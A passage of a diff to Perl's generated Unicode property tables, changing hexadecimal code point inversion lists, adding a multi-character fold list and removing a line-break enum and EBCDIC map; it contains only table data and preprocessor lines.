+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF10,
 	0xFF1A,
-	0xFF1C,
-	0xFF1F,
-	0xFF20,
+	0xFF21,
 	0xFF3B,
-	0xFF3C,
-	0xFF3D,
-	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
 	0xFF5B,
-	0xFF5C,
-	0xFF5D,
-	0xFF5E,
-	0xFF5F,
-	0xFF60,
-	0xFF62,
-	0xFF63,
-	0xFF65,
 	0xFF66,
-	0xFF67,
-	0xFF71,
-	0xFF9E,
-	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -41319,232 +161041,337 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
-	0xFFE0,
-	0xFFE1,
-	0xFFE2,
-	0xFFE5,
-	0xFFE7,
-	0xFFF9,
-	0xFFFC,
-	0xFFFD,
-	0x10100,
-	0x10103,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
 	0x101FD,
 	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
 	0x102E0,
 	0x102E1,
-	0x10376,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
 	0x1037B,
-	0x1039F,
+	0x10380,
+	0x1039E,
 	0x103A0,
+	0x103C4,
+	0x103C8,
 	0x103D0,
 	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
 	0x104A0,
 	0x104AA,
-	0x10857,
-	0x10858,
-	0x1091F,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
 	0x10920,
-	0x10A01,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
 	0x10A04,
 	0x10A05,
 	0x10A07,
 	0x10A0C,
-	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
 	0x10A38,
 	0x10A3B,
 	0x10A3F,
 	0x10A40,
-	0x10A50,
-	0x10A58,
-	0x10AE5,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
 	0x10AE7,
-	0x10AF0,
-	0x10AF6,
-	0x10AF7,
-	0x10B39,
+	0x10B00,
+	0x10B36,
 	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
 	0x11000,
-	0x11003,
-	0x11038,
 	0x11047,
-	0x11049,
 	0x11066,
 	0x11070,
 	0x1107F,
-	0x11083,
-	0x110B0,
 	0x110BB,
-	0x110BE,
-	0x110C2,
+	0x110D0,
+	0x110E9,
 	0x110F0,
 	0x110FA,
 	0x11100,
-	0x11103,
-	0x11127,
 	0x11135,
 	0x11136,
 	0x11140,
-	0x11144,
-	0x11173,
+	0x11150,
 	0x11174,
-	0x11175,
 	0x11176,
+	0x11177,
 	0x11180,
-	0x11183,
-	0x111B3,
-	0x111C1,
 	0x111C5,
-	0x111C7,
-	0x111C8,
-	0x111C9,
 	0x111CA,
 	0x111CD,
 	0x111D0,
-	0x111DA,
 	0x111DB,
 	0x111DC,
 	0x111DD,
-	0x111E0,
-	0x1122C,
+	0x11200,
+	0x11212,
+	0x11213,
 	0x11238,
-	0x1123A,
-	0x1123B,
-	0x1123D,
 	0x1123E,
 	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
 	0x112A9,
-	0x112AA,
-	0x112DF,
+	0x112B0,
 	0x112EB,
 	0x112F0,
 	0x112FA,
 	0x11300,
 	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
 	0x1133C,
-	0x1133D,
-	0x1133E,
 	0x11345,
 	0x11347,
 	0x11349,
 	0x1134B,
 	0x1134E,
+	0x11350,
+	0x11351,
 	0x11357,
 	0x11358,
-	0x11362,
+	0x1135D,
 	0x11364,
 	0x11366,
 	0x1136D,
 	0x11370,
 	0x11375,
-	0x11435,
-	0x11447,
+	0x11400,
 	0x1144B,
-	0x1144F,
 	0x11450,
 	0x1145A,
-	0x1145B,
-	0x1145C,
-	0x114B0,
-	0x114C4,
+	0x11480,
+	0x114C6,
+	0x114C7,
+	0x114C8,
 	0x114D0,
 	0x114DA,
-	0x115AF,
+	0x11580,
 	0x115B6,
 	0x115B8,
 	0x115C1,
-	0x115C2,
-	0x115C4,
-	0x115C6,
-	0x115C9,
 	0x115D8,
-	0x115DC,
 	0x115DE,
-	0x11630,
+	0x11600,
 	0x11641,
-	0x11643,
+	0x11644,
+	0x11645,
 	0x11650,
 	0x1165A,
-	0x11660,
-	0x1166D,
-	0x116AB,
+	0x11680,
 	0x116B8,
 	0x116C0,
 	0x116CA,
+	0x11700,
+	0x1171A,
 	0x1171D,
 	0x1172C,
 	0x11730,
 	0x1173A,
-	0x1173C,
-	0x1173F,
-	0x118E0,
+	0x118A0,
 	0x118EA,
-	0x11C2F,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
 	0x11C37,
 	0x11C38,
-	0x11C40,
 	0x11C41,
-	0x11C46,
 	0x11C50,
 	0x11C5A,
-	0x11C70,
-	0x11C71,
 	0x11C72,
+	0x11C90,
 	0x11C92,
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
-	0x12470,
-	0x12475,
-	0x13258,
-	0x1325B,
-	0x1325E,
-	0x13282,
-	0x13283,
-	0x13286,
-	0x13287,
-	0x13288,
-	0x13289,
-	0x1328A,
-	0x13379,
-	0x1337A,
-	0x1337C,
-	0x145CE,
-	0x145CF,
-	0x145D0,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
 	0x16A60,
 	0x16A6A,
-	0x16A6E,
-	0x16A70,
+	0x16AD0,
+	0x16AEE,
 	0x16AF0,
 	0x16AF5,
-	0x16AF6,
-	0x16B30,
+	0x16B00,
 	0x16B37,
-	0x16B3A,
+	0x16B40,
 	0x16B44,
-	0x16B45,
 	0x16B50,
 	0x16B5A,
-	0x16F51,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
 	0x16F7F,
 	0x16F8F,
-	0x16F93,
+	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
 	0x1BC9D,
 	0x1BC9F,
-	0x1BCA0,
-	0x1BCA4,
 	0x1D165,
 	0x1D16A,
 	0x1D16D,
+	0x1D173,
+	0x1D17B,
 	0x1D183,
 	0x1D185,
 	0x1D18C,
@@ -41552,6 +161379,66 @@
 	0x1D1AE,
 	0x1D242,
 	0x1D245,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
 	0x1D7CE,
 	0x1D800,
 	0x1DA00,
@@ -41562,8 +161449,6 @@
 	0x1DA76,
 	0x1DA84,
 	0x1DA85,
-	0x1DA87,
-	0x1DA8B,
 	0x1DA9B,
 	0x1DAA0,
 	0x1DAA1,
@@ -41578,2837 +161463,341 @@
 	0x1E025,
 	0x1E026,
 	0x1E02B,
+	0x1E800,
+	0x1E8C5,
 	0x1E8D0,
 	0x1E8D7,
-	0x1E944,
+	0x1E900,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
-	0x1E95E,
-	0x1E960,
-	0x1F000,
-	0x1F100,
-	0x1F10D,
-	0x1F110,
-	0x1F12F,
-	0x1F130,
-	0x1F16C,
-	0x1F170,
-	0x1F1AD,
-	0x1F1E6,
-	0x1F200,
-	0x1F385,
-	0x1F386,
-	0x1F39C,
-	0x1F39E,
-	0x1F3B5,
-	0x1F3B7,
-	0x1F3BC,
-	0x1F3BD,
-	0x1F3C3,
-	0x1F3C5,
-	0x1F3CA,
-	0x1F3CC,
-	0x1F3FB,
-	0x1F400,
-	0x1F442,
-	0x1F444,
-	0x1F446,
-	0x1F451,
-	0x1F466,
-	0x1F46A,
-	0x1F46E,
-	0x1F46F,
-	0x1F470,
-	0x1F479,
-	0x1F47C,
-	0x1F47D,
-	0x1F481,
-	0x1F484,
-	0x1F485,
-	0x1F488,
-	0x1F4A0,
-	0x1F4A1,
-	0x1F4A2,
-	0x1F4A3,
-	0x1F4A4,
-	0x1F4A5,
-	0x1F4AA,
-	0x1F4AB,
-	0x1F4AF,
-	0x1F4B0,
-	0x1F4B1,
-	0x1F4B3,
-	0x1F500,
-	0x1F507,
-	0x1F517,
-	0x1F525,
-	0x1F532,
-	0x1F54A,
-	0x1F575,
-	0x1F576,
-	0x1F57A,
-	0x1F57B,
-	0x1F590,
-	0x1F591,
-	0x1F595,
-	0x1F597,
-	0x1F5D4,
-	0x1F5DC,
-	0x1F5F4,
-	0x1F5FA,
-	0x1F645,
-	0x1F648,
-	0x1F64B,
-	0x1F650,
-	0x1F676,
-	0x1F679,
-	0x1F67C,
-	0x1F680,
-	0x1F6A3,
-	0x1F6A4,
-	0x1F6B4,
-	0x1F6B7,
-	0x1F6C0,
-	0x1F6C1,
-	0x1F700,
-	0x1F774,
-	0x1F780,
-	0x1F7D5,
-	0x1F800,
-	0x1F80C,
-	0x1F810,
-	0x1F848,
-	0x1F850,
-	0x1F85A,
-	0x1F860,
-	0x1F888,
-	0x1F890,
-	0x1F8AE,
-	0x1F918,
-	0x1F91F,
-	0x1F926,
-	0x1F927,
-	0x1F930,
-	0x1F931,
-	0x1F933,
-	0x1F93A,
-	0x1F93C,
-	0x1F93F,
-	0x1FFFE,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
 	0x20000,
-	0x2FFFE,
-	0x30000,
-	0x3FFFE,
-	0xE0001,
-	0xE0002,
-	0xE0020,
-	0xE0080,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
 	0xE0100,
 	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* EBCDIC 037 */
 
-#if defined(PERL_IN_REGEXEC_C)
+#   if 'A' == 65 /* ASCII/Latin1 */
 
-#define LB_ENUM_COUNT 39
+static const UV PL__PERL_FOLDS_TO_MULTI_CHAR_invlist[] = { /* for ASCII/Latin1 */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xDF,
+	0xE0,
+	0x130,
+	0x131,
+	0x149,
+	0x14A,
+	0x1F0,
+	0x1F1,
+	0x390,
+	0x391,
+	0x3B0,
+	0x3B1,
+	0x587,
+	0x588,
+	0x1E96,
+	0x1E9B,
+	0x1E9E,
+	0x1E9F,
+	0x1F50,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F80,
+	0x1FB0,
+	0x1FB2,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBC,
+	0x1FBD,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD2,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE2,
+	0x1FE5,
+	0x1FE6,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x1FFC,
+	0x1FFD,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18
+};
 
-typedef enum {
-	LB_Alphabetic = 0,
-	LB_Break_After = 1,
-	LB_Break_Before = 2,
-	LB_Break_Both = 3,
-	LB_Break_Symbols = 4,
-	LB_Carriage_Return = 5,
-	LB_Close_Parenthesis = 6,
-	LB_Close_Punctuation = 7,
-	LB_Combining_Mark = 8,
-	LB_Contingent_Break = 9,
-	LB_E_Base = 10,
-	LB_E_Modifier = 11,
-	LB_Exclamation = 12,
-	LB_Glue = 13,
-	LB_H2 = 14,
-	LB_H3 = 15,
-	LB_Hebrew_Letter = 16,
-	LB_Hyphen = 17,
-	LB_Ideographic = 18,
-	LB_Infix_Numeric = 19,
-	LB_Inseparable = 20,
-	LB_JL = 21,
-	LB_JT = 22,
-	LB_JV = 23,
-	LB_Line_Feed = 24,
-	LB_Mandatory_Break = 25,
-	LB_Next_Line = 26,
-	LB_Nonstarter = 27,
-	LB_Numeric = 28,
-	LB_Open_Punctuation = 29,
-	LB_Postfix_Numeric = 30,
-	LB_Prefix_Numeric = 31,
-	LB_Quotation = 32,
-	LB_Regional_Indicator = 33,
-	LB_Space = 34,
-	LB_Word_Joiner = 35,
-	LB_ZWJ = 36,
-	LB_ZWSpace = 37,
-	LB_EDGE = 38
-} LB_enum;
+#   endif	/* ASCII/Latin1 */
 
-static const LB_enum _Perl_LB_invmap[] = { /* for EBCDIC 1047 */
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Mandatory_Break,
-	LB_Carriage_Return,
-	LB_Combining_Mark,
-	LB_Line_Feed,
-	LB_Combining_Mark,
-	LB_Next_Line,
-	LB_Combining_Mark,
-	LB_Space,
-	LB_Glue,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Prefix_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Close_Parenthesis,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Hyphen,
-	LB_Break_Symbols,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Close_Parenthesis,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Glue,
-	LB_Combining_Mark,
-	LB_Glue,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Exclamation,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Exclamation,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Numeric,
-	LB_Postfix_Numeric,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Glue,
-	LB_Break_Before,
-	LB_Break_After,
-	LB_Glue,
-	LB_Exclamation,
-	LB_Glue,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Break_After,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Glue,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Numeric,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_JL,
-	LB_JV,
-	LB_JT,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Break_After,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Glue,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
